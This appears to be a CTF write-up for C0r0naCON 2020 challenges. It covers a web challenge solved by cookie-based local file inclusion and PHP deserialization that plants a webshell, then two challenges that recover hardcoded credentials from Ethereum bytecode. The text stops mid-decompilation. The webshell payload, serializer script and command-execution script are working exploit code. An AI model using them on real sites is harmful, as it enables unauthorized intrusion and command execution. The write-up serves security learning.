C0r0naCON 2020
Pwny Bank [250]
Problem Description
The latest launched application allows bank users to generate their passwords. It seems its administrator are too lazy to properly configure the password’s manager, will you be able to find out the hidden functionality?
Mirrors:
http://157.230.107.175:8001 http://142.93.97.61:8001 http://134.122.93.176:8001/
Challenge created by Naivenom
Solution
After connecting to the website of the challenge, we observe a form with two fields, Username and PIN id. We tried several techniques, but we were not able to pass from this form. We observe the following files/directories through robots.txt
- backup.txt
- /info/
- /tmp/
Also, I noticed that there is one cookie set as “user=pwnyBank”.
The file “backup.txt” contained the following text:
“MOVED OUTSIDE WEBDIR FOR SECURITY REASONS”
I discovered that the “user” cookie was loading the file at “/info/pwnyBank.txt”, because the same content of that file was present in the main site.
We tried to change the “user=pwnyBank” cookie to “user=admin”, and the content displayed in the main page changed to the content of the file at “/info/admin.txt”. We can confirm that a LFI attack is possible.
The content of “backup.txt” indicated that the file was moved outside of the webdir. After changing the user cookie to “user=../../backup”, we display the content of the main page, “index.php”.
class SecurePasswordManager{
function __construct() {
}
function __destruct() {
$sid = session_id();
mkdir("/app/public/tmp/{$sid}/");
$filesize = file_put_contents("/app/public/tmp/{$sid}/{$this->filename}", $this->content);
$filename = "/app/public/tmp/{$sid}/{$this->filename}";
if ($filesize === 48){
echo "Administrator feauture: Uploaded user password file";
$password = file_get_contents($filename);
$content= base64_decode($password);
$file = fopen($filename, 'w');
fwrite($file, $content);
fclose($file);
echo "[+] Debug: Done";
}
else {
unlink($filename);
}
}
}
$data = unserialize($_GET['data']);
Analyzing the code, we can inject a PHP webshell using serialization.
We will send via a GET parameter, “data”, a serialized object of the SecurePasswordManager class, applying the restriction of a content of 48 bytes. This way, the content will be published under “/tmp/(session_id)/”. We will use the following PHP script to serialize our data:
<?php
Class SecurePasswordManager{
function __construct() {
}
function __destruct() {
}
}
$obj = new SecurePasswordManager();
$obj->filename = "oreos.php";
$obj->content = "PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2MnXSk7ID8+ ";
$bar = [];
$bar[] = $obj;
$m = serialize($bar);
echo urlencode($m)."\n";
?>
# php -f serialize.php
a%3A1%3A%7Bi%3A0%3BO%3A21%3A%22SecurePasswordManager%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22oreos.php%22%3Bs%3A7%3A%22content%22%3Bs%3A48%3A%22PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2MnXSk7ID8%2B++++%22%3B%7D%7D
Once we have the payload, we create a python script to automatize the procedure:
import requests
import sys
url = 'http://142.93.97.61:8001/'
r = requests.get(url)
cookies = r.cookies.get_dict()
serialized = 'a%3A1%3A%7Bi%3A0%3BO%3A21%3A%22SecurePasswordManager%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22oreos.php%22%3Bs%3A7%3A%22content%22%3Bs%3A48%3A%22PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2MnXSk7ID8%2B++++%22%3B%7D%7D'
r = requests.get(url+'?data='+serialized,cookies=cookies)
r = requests.get(url+"tmp/"+cookies['PHPSESSID']+'/oreos.php?c='+sys.argv[1],cookies=cookies)
print r.content
# python pwnybank.py "pwd"
/app/public/tmp/oqjdp6fdo7a2j4e6jj926uf3bc
# python pwnybank.py "ls /"
app
bin
bootstrap
dev
etc
flag.9f734b1948ae016cd9d01b0f12ffc8be6af2659e87372d78e1a5751d0a74fb2f95206e076c12bfbe8b41bed106f5b79787a329621ae9a1ebb8f056f878816a74
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
# python pwnybank.py "cat /flag*"
flag{????}
[In]SecureVault1 [150]
Problem Description
One of our developers is researching new technologies and thinks that he has found the perfect solution to keep his private key, SecureVault. Maybe he has not understood well how it works, are you able to find out his username and password and get his private key?
Flag format: flag{0xd3adb33f….}
Download: https://drive.google.com/file/d/15J9nX_onjScqGkaIyRVMHfQsX30gcx9J/view?usp=sharing
Challenge created by @belane
Solution
After download the file of the challenge, and looking at its content and extension (bin-runtime), I realized that it was an EVM (Ethereum Virtual-Machine) bytecode.
I found a tool to convert the code into a human readable format: https://www.trustlook.com/services/smart.html
contract disassembler {
function FUNC_60353DB9( uint256 arg0,uint256 arg1) public return (var0)
{
var5 = arg0;
var6 = arg1;
temp2 = mload(arg1);
temp1 = mload(arg0);
if ((temp1 == temp2))
{
var7 = 0x0;
label_000001ED:
temp3 = mload(var5);
if ((temp3 < var7))
{
var4 = 0x1;
label_0000030E:
return(var4);
}
else
{
var8 = arg1;
var9 = 0;
temp4 = arg1;
temp5 = mload(((0x20 + var8) + var9));
temp5 = arg1[idx]
var8 = (~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp5 / 0x100000000000000000000000000000000000000000000000000000000000000)));
var9 = var5;
var10 = var7;
temp6 = mload(var5);
assert((var7 < temp6));
temp7 = mload(((0x20 + var9) + var10));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp7 / 0x100000000000000000000000000000000000000000000000000000000000000))) == var8))
if (arg0[idx] == arg1[idx])
{
idx += 1
var7 = (0x1 + var7);
goto label_000001ED;
}
else
{
var4 = 0x0;
goto label_0000030E;
}
}
}
else
{
var4 = 0x0;
goto label_0000030E;
}
}
def FUNC_60353DB9(arg0,arg1):
if arg0 == arg1:
if len(arg0) < 0:
return 1
else:
def FUNC_BECA2E86(arg0,arg1):
function FUNC_BECA2E86( uint256 arg0,uint256 arg1) public return ()
{
temp11 = mload(0x40);
mstore(0x40,(temp11 + 0x40));
mstore(temp11,0x8);
mstore((0x20 + temp11),0x6677686962626974000000000000000000000000000000000000000000000000);
var7 = FUNC_60353DB9(temp11,arg0);
if (var7)
{
temp12 = mload(0x40);
mstore(0x40,(temp12 + 0x40));
mstore(temp12,0x6);
mstore((0x20 + temp12),0x7261626269740000000000000000000000000000000000000000000000000000);
var7 = FUNC_60353DB9(temp12,arg1);
if (var7)
{
var8 = mload(0x40);
var9 = var8;
temp14 = mload(arg1);
var11 = temp14;
var12 = temp14;
var13 = var8;
//ISSUE:LOW: Potential Integer Overflow or Underflow
var14 = (0x20 + arg1);
label_00000499:
if ((var12 < 0x20))
{
mstore(var13, ((arg1 & ~exp(0x100,arg1) ) | ()
temp15 = mload(var14);
temp16 = mload(var13);
mstore(var13,((temp15 & ~(EXP(0x100,(0x20 - var12)) - 0x1)) | (temp16 & (EXP(0x100,(0x20 - var12)) - 0x1))));
temp17 = (var11 + var9);
temp18 = mload(0x40);
temp19 = keccak256(temp18,(temp17 - temp18));
temp20 = mload(0x40);
mstore((0x20 + temp20),(~0x0 & (~0x0 & temp19)));
mstore(temp20,((0x20 + (0x20 + temp20)) - temp20));
mstore((0x20 + (0x20 + temp20)),0x14);
mstore((0x20 + (0x20 + (0x20 + temp20))),0x596F75722070726976617465206B65792069733A000000000000000000000000);
temp21 = mload(0x40);
log(temp21,((0x20 + (0x20 + (0x20 + (0x20 + temp20)))) - temp21),0x894707896D302733A35C9D7A681B0B21457FA3EB9560949AE3033E6346D8582D);
return();
}
else
{
temp22 = mload(var14);
mstore(var13,temp22);
var13 = (var13 + 0x20);
var14 = (var14 + 0x20);
var12 = (var12 - 0x20);
goto label_00000499;
}
}
else
{
temp23 = mload(0x40);
mstore(temp23,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp23),0x20);
mstore((0x20 + (0x4 + temp23)),0xC);
mstore((0x20 + (0x20 + (0x4 + temp23))),0x4261642050617373776F72640000000000000000000000000000000000000000);
temp24 = mload(0x40);
revert(temp24,((0x20 + (0x20 + (0x20 + (0x4 + temp23)))) - temp24));
}
}
else
{
temp25 = mload(0x40);
mstore(temp25,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp25),0x20);
mstore((0x20 + (0x4 + temp25)),0x8);
mstore((0x20 + (0x20 + (0x4 + temp25))),0x4261642055736572000000000000000000000000000000000000000000000000);
temp26 = mload(0x40);
revert(temp26,((0x20 + (0x20 + (0x20 + (0x4 + temp25)))) - temp26));
}
}
function main() public return ()
{
mstore(0x40,0x80);
if ((msg.data.length < 0x4))
{
label_0000004C:
revert(0x0,0x0);
}
else
{
var0 = uint32((msg.data(0x0) / 0x100000000000000000000000000000000000000000000000000000000));
//ISSUE:COMMENT: Function FUNC_60353DB9()
if ((0x60353DB9 == uint32((msg.data(0x0) / 0x100000000000000000000000000000000000000000000000000000000))))
{
require(!msg.value);
mstore(0x40,(0x80 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x4)))) / 0x20) * 0x20))));
mstore(0x80,msg.data((0x4 + msg.data(0x4))));
calldatacopy(0xA0,(0x20 + (0x4 + msg.data(0x4))),msg.data((0x4 + msg.data(0x4))));
temp0 = mload(0x40);
mstore(0x40,(temp0 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x24)))) / 0x20) * 0x20))));
mstore(temp0,msg.data((0x4 + msg.data(0x24))));
calldatacopy((0x20 + temp0),(0x20 + (0x4 + msg.data(0x24))),msg.data((0x4 + msg.data(0x24))));
var1 = FUNC_60353DB9(0x80,temp0);
temp8 = mload(0x40);
mstore(temp8,var1);
temp9 = mload(0x40);
RETURN(temp9,((0x20 + temp8) - temp9));
}
//ISSUE:COMMENT: Function FUNC_BECA2E86()
else if ((0xBECA2E86 == var0))
{
require(!msg.value);
mstore(0x40,(0x80 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x4)))) / 0x20) * 0x20))));
mstore(0x80,msg.data((0x4 + msg.data(0x4))));
calldatacopy(0xA0,(0x20 + (0x4 + msg.data(0x4))),msg.data((0x4 + msg.data(0x4))));
temp10 = mload(0x40);
mstore(0x40,(temp10 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x24)))) / 0x20) * 0x20))));
mstore(temp10,msg.data((0x4 + msg.data(0x24))));
calldatacopy((0x20 + temp10),(0x20 + (0x4 + msg.data(0x24))),msg.data((0x4 + msg.data(0x24))));
FUNC_BECA2E86(0x80,temp10);
stop();
}
else
{
goto label_0000004C;
}
}
}
}
After analyzing function “FUNC_60353DB9(arg0,arg1)”,
We realized that it was a string comparison, returning 0/1 in case of success/failure.
The most important function is “FUNC_BECA2E86”.
We are going to decode each part of the function:
temp11 = mload(0x40);
mstore(0x40,(temp11 + 0x40));
mstore(temp11,0x8);
mstore((0x20 + temp11),0x6677686962626974000000000000000000000000000000000000000000000000);
var7 = FUNC_60353DB9(temp11,arg0);
if (var7)
{
...
}
else
{
temp25 = mload(0x40);
mstore(temp25,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp25),0x20);
mstore((0x20 + (0x4 + temp25)),0x8);
mstore((0x20 + (0x20 + (0x4 + temp25))),0x4261642055736572000000000000000000000000000000000000000000000000);
temp26 = mload(0x40);
revert(temp26,((0x20 + (0x20 + (0x20 + (0x4 + temp25)))) - temp26));
}
This can be translated to:
def FUNC_BECA2E86(arg0,arg1):
user = "fwhibbit"
if arg0 == user:
...
else:
print "Bad User"
The second part of the code:
...
temp12 = mload(0x40);
mstore(0x40,(temp12 + 0x40));
mstore(temp12,0x6);
mstore((0x20 + temp12),0x7261626269740000000000000000000000000000000000000000000000000000);
var7 = FUNC_60353DB9(temp12,arg1);
if (var7)
{
...
}
else
{
temp23 = mload(0x40);
mstore(temp23,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp23),0x20);
mstore((0x20 + (0x4 + temp23)),0xC);
mstore((0x20 + (0x20 + (0x4 + temp23))),0x4261642050617373776F72640000000000000000000000000000000000000000);
temp24 = mload(0x40);
revert(temp24,((0x20 + (0x20 + (0x20 + (0x4 + temp23)))) - temp24));
}
...
def FUNC_BECA2E86(arg0,arg1):
user = "fwhibbit"
if arg0 == user:
...
pass = "rabbit"
if arg1 == pass:
...
else:
print "Bad Password"
else:
print "Bad User"
Finally, the last part of the code:
mstore(var13, ((arg1 & ~exp(0x100,arg1) ) | ()
temp15 = mload(var14);
temp16 = mload(var13);
mstore(var13,((temp15 & ~(EXP(0x100,(0x20 - var12)) - 0x1)) | (temp16 & (EXP(0x100,(0x20 - var12)) - 0x1))));
temp17 = (var11 + var9);
temp18 = mload(0x40);
temp19 = keccak256(temp18,(temp17 - temp18));
temp20 = mload(0x40);
mstore((0x20 + temp20),(~0x0 & (~0x0 & temp19)));
mstore(temp20,((0x20 + (0x20 + temp20)) - temp20));
mstore((0x20 + (0x20 + temp20)),0x14);
mstore((0x20 + (0x20 + (0x20 + temp20))),0x596F75722070726976617465206B65792069733A000000000000000000000000);
temp21 = mload(0x40);
log(temp21,((0x20 + (0x20 + (0x20 + (0x20 + temp20)))) - temp21),0x894707896D302733A35C9D7A681B0B21457FA3EB9560949AE3033E6346D8582D);
return();
def FUNC_BECA2E86(arg0,arg1):
user = "fwhibbit"
if arg0 == user:
...
pass = "rabbit"
if arg1 == pass:
hash = keccak256(arg1)
**log("Your private key is:"+hash)**
else:
print "Bad Password"
else:
print "Bad User"
flag{keccak256(password)}
[In]SecureVault2 [400]
Problem Description
It seems that the developer has learned from his mistakes, now he proclaims that this time it is unbreakable and will not make the same mistakes again, are we sure?
Flag format: flag{0xd3adb33f….}
Download: https://drive.google.com/file/d/1CXnaIGvWWCqczeCy7pEpmVpbWgyViPYz/view?usp=sharing
Challenge created by @belane
Solution
Second part of [In]SecureVault, we receive a “bin-runtime” again.
We use the decompiler https://www.trustlook.com/services/smart.html, and obtain the following code:
contract disassembler {
function FUNC_20D3DE34( uint256 arg0) public return (var0)
{
var2 = arg0;
temp0 = mload(arg0);
if ((temp0 == 0xC))
{
temp1 = mload(arg0);
assert((0x0 < temp1));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp2 = mload(((0x20 + arg0) + 0x0));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp2 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x5000000000000000000000000000000000000000000000000000000000000000))
{
temp23 = mload(arg0);
assert((0x5 < temp23));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp24 = mload(((0x20 + arg0) + 0x5));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp24 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp24 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000))
{
goto label_00000461;
}
else
{
goto label_00000504;
}
}
else if (var4)
{
if (var4)
{
if (var4)
{
if (var4)
{
label_0000065C:
var3 = 0x0;
goto label_00000894;
}
else
{
label_00000664:
var4 = 0xD1370B61645871575F791B55203FA702891DEA76000000000000000000000000;
var5 = 0x3;
var7 = mload(0x40);
var8 = var7;
temp4 = mload(var2);
var10 = temp4;
var11 = temp4;
var12 = var7;
var13 = (0x20 + var2);
label_00000698:
if ((var11 < 0x20))
{
temp5 = mload(var13);
temp6 = mload(var12);
mstore(var12,((temp5 & ~(EXP(0x100,(0x20 - var11)) - 0x1)) | (temp6 & (EXP(0x100,(0x20 - var11)) - 0x1))));
temp7 = (var10 + var8);
temp8 = mload(0x40);
var7 = var5.ripemd160(temp8,(temp7 - temp8),temp8,0x20);
var7 = (var7 == 0);
if (var7)
{
returndatacopy(0x0,0x0,returndatasize);
revert(0x0,returndatasize);
}
else
{
temp10 = mload(0x40);
temp11 = mload(temp10);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFF & (0x1000000000000000000000000 * temp11)) == var4))
{
var5 = var2;
temp12 = mload(var2);
assert((0xB < temp12));
temp13 = mload(((0x20 + var5) + 0xB));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp13 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6700000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp13 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6700000000000000000000000000000000000000000000000000000000000000))
{
var5 = var2;
temp14 = mload(var2);
assert((0x2 < temp14));
temp15 = mload(((0x20 + var5) + 0x2));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp15 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6C00000000000000000000000000000000000000000000000000000000000000))
{
goto label_0000088F;
}
else
{
goto label_00000887;
}
}
else if (var4)
{
label_00000887:
var3 = 0x0;
goto label_00000894;
}
else
{
label_0000088F:
var3 = 0x1;
label_00000894:
return(var3);
}
}
else
{
var3 = 0x0;
goto label_00000894;
}
}
}
else
{
temp16 = mload(var13);
mstore(var12,temp16);
var12 = (var12 + 0x20);
var13 = (var13 + 0x20);
var11 = (var11 - 0x20);
goto label_00000698;
}
}
}
else
{
label_000005B3:
var5 = var2;
temp17 = mload(var2);
assert((0x4 < temp17));
temp18 = mload(((0x20 + var5) + 0x4));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp18 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6700000000000000000000000000000000000000000000000000000000000000) == 0);
label_00000656:
if (var4)
{
goto label_0000065C;
}
else
{
goto label_00000664;
}
}
}
else
{
label_0000050A:
var5 = var2;
temp19 = mload(var2);
assert((0x9 < temp19));
temp20 = mload(((0x20 + var5) + 0x9));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp20 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6F00000000000000000000000000000000000000000000000000000000000000) == 0);
label_000005AD:
if (var4)
{
goto label_00000656;
}
else
{
goto label_000005B3;
}
}
}
else
{
label_00000461:
var5 = var2;
temp21 = mload(var2);
assert((0xA < temp21));
temp22 = mload(((0x20 + var5) + 0xA));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp22 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x2E00000000000000000000000000000000000000000000000000000000000000) == 0);
label_00000504:
if (var4)
{
goto label_000005AD;
}
else
{
goto label_0000050A;
}
}
}
else
{
var3 = 0x0;
goto label_00000894;
}
}
function FUNC_4F9BA357( uint256 arg0) public return (var0,var1)
{
var2 = arg0;
temp27 = mload(arg0);
var4 = temp27;
var5 = 0x0;
label_000008A9:
if ((var4 < var5))
{
return(var0,var2);
}
else
{
var7 = var2;
var8 = var5;
temp28 = mload(var2);
assert((var5 < temp28));
temp29 = mload(((0x20 + var7) + var8));
var6 = BYTE(0x0,(0x100000000000000000000000000000000000000000000000000000000000000 * (temp29 / 0x100000000000000000000000000000000000000000000000000000000000000)));
if (((BYTE(0x0,(0x100000000000000000000000000000000000000000000000000000000000000 * (temp29 / 0x100000000000000000000000000000000000000000000000000000000000000))) > 0x6D) & (BYTE(0x0,(0x100000000000000000000000000000000000000000000000000000000000000 * (temp29 / 0x100000000000000000000000000000000000000000000000000000000000000))) < 0x7B)))
{
var6 = (0x60 - (0x7A - var6));
if ((var6 == 0x20))
{
goto label_00000943;
}
else
{
goto label_00000935;
}
}
else if ((var6 == 0x20))
{
var5 = (0x1 + var5);
goto label_000008A9;
}
else
{
label_00000935:
mstore8(((var2 + 0x20) + var5),(var6 + 0xD));
label_00000943:
var5 = (0x1 + var5);
goto label_000008A9;
}
}
}
function FUNC_BC82DA50( uint256 arg0) public return (var0)
{
var2 = arg0;
var3 = 0x0;
temp39 = mload(arg0);
if ((temp39 == 0x6))
{
temp40 = mload(arg0);
assert((0x0 < temp40));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp41 = mload(((0x20 + arg0) + 0x0));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp41 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7000000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp41 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7000000000000000000000000000000000000000000000000000000000000000))
{
temp56 = mload(arg0);
assert((0x4 < temp56));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp57 = mload(((0x20 + arg0) + 0x4));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp57 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7700000000000000000000000000000000000000000000000000000000000000))
{
goto label_00000ACA;
}
else
{
goto label_00000AC2;
}
}
else if (var4)
{
label_00000AC2:
var3 = 0x0;
goto label_00000CFF;
}
else
{
label_00000ACA:
var4 = 0x8AEC5860B1B9108D01BEC4FBBB1F9A109732C250EE81751E7EC96D90DC8F42D5;
var5 = 0x2;
var7 = mload(0x40);
var8 = var7;
temp43 = mload(var2);
var10 = temp43;
var11 = temp43;
var12 = var7;
var13 = (0x20 + var2);
label_00000AFE:
if ((var11 < 0x20))
{
temp44 = mload(var13);
temp45 = mload(var12);
mstore(var12,((temp44 & ~(EXP(0x100,(0x20 - var11)) - 0x1)) | (temp45 & (EXP(0x100,(0x20 - var11)) - 0x1))));
temp46 = (var10 + var8);
temp47 = mload(0x40);
var7 = var5.call(temp47,(temp46 - temp47),temp47,0x20);
var7 = (var7 == 0);
if (var7)
{
returndatacopy(0x0,0x0,returndatasize);
revert(0x0,returndatasize);
}
else
{
var5 = mload(0x40);
var6 = returndatasize;
require((0x20 < returndatasize));
temp50 = mload(var5);
if (((~0x0 & temp50) == var4))
{
var5 = var2;
temp51 = mload(var2);
assert((0x1 < temp51));
temp52 = mload(((0x20 + var5) + 0x1));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp52 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp52 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000))
{
var5 = var2;
temp53 = mload(var2);
assert((0x3 < temp53));
temp54 = mload(((0x20 + var5) + 0x3));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp54 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7200000000000000000000000000000000000000000000000000000000000000))
{
goto label_00000CFA;
}
else
{
goto label_00000CF2;
}
}
else if (var4)
{
label_00000CF2:
var3 = 0x0;
goto label_00000CFF;
}
else
{
label_00000CFA:
var3 = 0x1;
label_00000CFF:
return(var3);
}
}
else
{
var3 = 0x0;
goto label_00000CFF;
}
}
}
else
{
temp55 = mload(var13);
mstore(var12,temp55);
var12 = (var12 + 0x20);
var13 = (var13 + 0x20);
var11 = (var11 - 0x20);
goto label_00000AFE;
}
}
}
else
{
var3 = 0x0;
goto label_00000CFF;
}
}
function FUNC_BECA2E86( uint256 arg0,uint256 arg1) public return ()
{
(var8,var9) = FUNC_4F9BA357(arg0);
var4 = var9;
(var8,var9) = FUNC_4F9BA357(arg1);
var5 = var9;
var9 = FUNC_BC82DA50(var9);
if (var9)
{
var9 = FUNC_20D3DE34(var5);
if (var9)
{
var10 = mload(0x40);
var11 = var10;
temp62 = mload(var4);
var13 = temp62;
var14 = temp62;
var15 = var10;
var16 = (0x20 + var4);
label_00000E2D:
if ((var14 < 0x20))
{
temp63 = mload(var16);
temp64 = mload(var15);
mstore(var15,((temp63 & ~(EXP(0x100,(0x20 - var14)) - 0x1)) | (temp64 & (EXP(0x100,(0x20 - var14)) - 0x1))));
temp65 = (var13 + var11);
temp66 = mload(0x40);
temp67 = keccak256(temp66,(temp65 - temp66));
var6 = temp67;
var10 = mload(0x40);
var11 = var10;
temp69 = mload(var5);
var13 = temp69;
var14 = temp69;
var15 = var10;
var16 = (0x20 + var5);
label_00000E92:
if ((var14 < 0x20))
{
temp70 = mload(var16);
temp71 = mload(var15);
mstore(var15,((temp70 & ~(EXP(0x100,(0x20 - var14)) - 0x1)) | (temp71 & (EXP(0x100,(0x20 - var14)) - 0x1))));
temp72 = (var13 + var11);
temp73 = mload(0x40);
temp74 = keccak256(temp73,(temp72 - temp73));
temp75 = mload(0x40);
mstore((0x20 + temp75),(~0x0 & (~0x0 & XOR(var6,temp74))));
mstore(temp75,((0x20 + (0x20 + temp75)) - temp75));
mstore((0x20 + (0x20 + temp75)),0x14);
mstore((0x20 + (0x20 + (0x20 + temp75))),0x596F75722070726976617465206B65792069733A000000000000000000000000);
temp76 = mload(0x40);
log(temp76,((0x20 + (0x20 + (0x20 + (0x20 + temp75)))) - temp76),0x894707896D302733A35C9D7A681B0B21457FA3EB9560949AE3033E6346D8582D);
return();
}
else
{
temp77 = mload(var16);
mstore(var15,temp77);
var15 = (var15 + 0x20);
var16 = (var16 + 0x20);
var14 = (var14 - 0x20);
goto label_00000E92;
}
}
else
{
temp78 = mload(var16);
mstore(var15,temp78);
var15 = (var15 + 0x20);
var16 = (var16 + 0x20);
var14 = (var14 - 0x20);
goto label_00000E2D;
}
}
else
{
temp79 = mload(0x40);
mstore(temp79,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp79),0x20);
mstore((0x20 + (0x4 + temp79)),0xC);
mstore((0x20 + (0x20 + (0x4 + temp79))),0x4261642050617373776F72640000000000000000000000000000000000000000);
temp80 = mload(0x40);
revert(temp80,((0x20 + (0x20 + (0x20 + (0x4 + temp79)))) - temp80));
}
}
else
{
temp81 = mload(0x40);
mstore(temp81,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp81),0x20);
mstore((0x20 + (0x4 + temp81)),0x8);
mstore((0x20 + (0x20 + (0x4 + temp81))),0x4261642055736572000000000000000000000000000000000000000000000000);
temp82 = mload(0x40);
revert(temp82,((0x20 + (0x20 + (0x20 + (0x4 + temp81)))) - temp82));
}
}
function main() public return ()
{
mstore(0x40,0x80);
if ((msg.data.length < 0x4))
{
label_00000062:
revert(0x0,0x0);
}
else
{
var0 = uint32((msg.data(0x0) / 0x100000000000000000000000000000000000000000000000000000000));
//ISSUE:COMMENT: Function FUNC_20D3DE34()
if ((0x20D3DE34 == uint32((msg.data(0x0) / 0x100000000000000000000000000000000000000000000000000000000))))
{
require(!msg.value);
mstore(0x40,(0x80 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x4)))) / 0x20) * 0x20))));
mstore(0x80,msg.data((0x4 + msg.data(0x4))));
calldatacopy(0xA0,(0x20 + (0x4 + msg.data(0x4))),msg.data((0x4 + msg.data(0x4))));
var1 = FUNC_20D3DE34(0x80);
temp25 = mload(0x40);
mstore(temp25,var1);
temp26 = mload(0x40);
RETURN(temp26,((0x20 + temp25) - temp26));
}
//ISSUE:COMMENT: Function FUNC_4F9BA357()
else if ((0x4F9BA357 == var0))
{
require(!msg.value);
mstore(0x40,(0x80 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x4)))) / 0x20) * 0x20))));
mstore(0x80,msg.data((0x4 + msg.data(0x4))));
calldatacopy(0xA0,(0x20 + (0x4 + msg.data(0x4))),msg.data((0x4 + msg.data(0x4))));
(var0,var1) = FUNC_4F9BA357(0x80);
var2 = mload(0x40);
mstore(var2,0x20);
temp32 = mload(var1);
mstore((0x20 + var2),temp32);
var4 = (0x20 + (0x20 + var2));
temp33 = mload(var1);
var6 = temp33;
var7 = temp33;
var8 = (0x20 + (0x20 + var2));
var9 = (0x20 + var1);
var10 = 0x0;
label_00000174:
if ((var7 < var10))
{
var4 = (var6 + var4);
var5 = (0x1F & var6);
if ((0x1F & var6))
{
temp35 = mload((var4 - var5));
mstore((var4 - var5),(~(EXP(0x100,(0x20 - var5)) - 0x1) & temp35));
temp36 = (0x20 + (var4 - var5));
temp37 = mload(0x40);
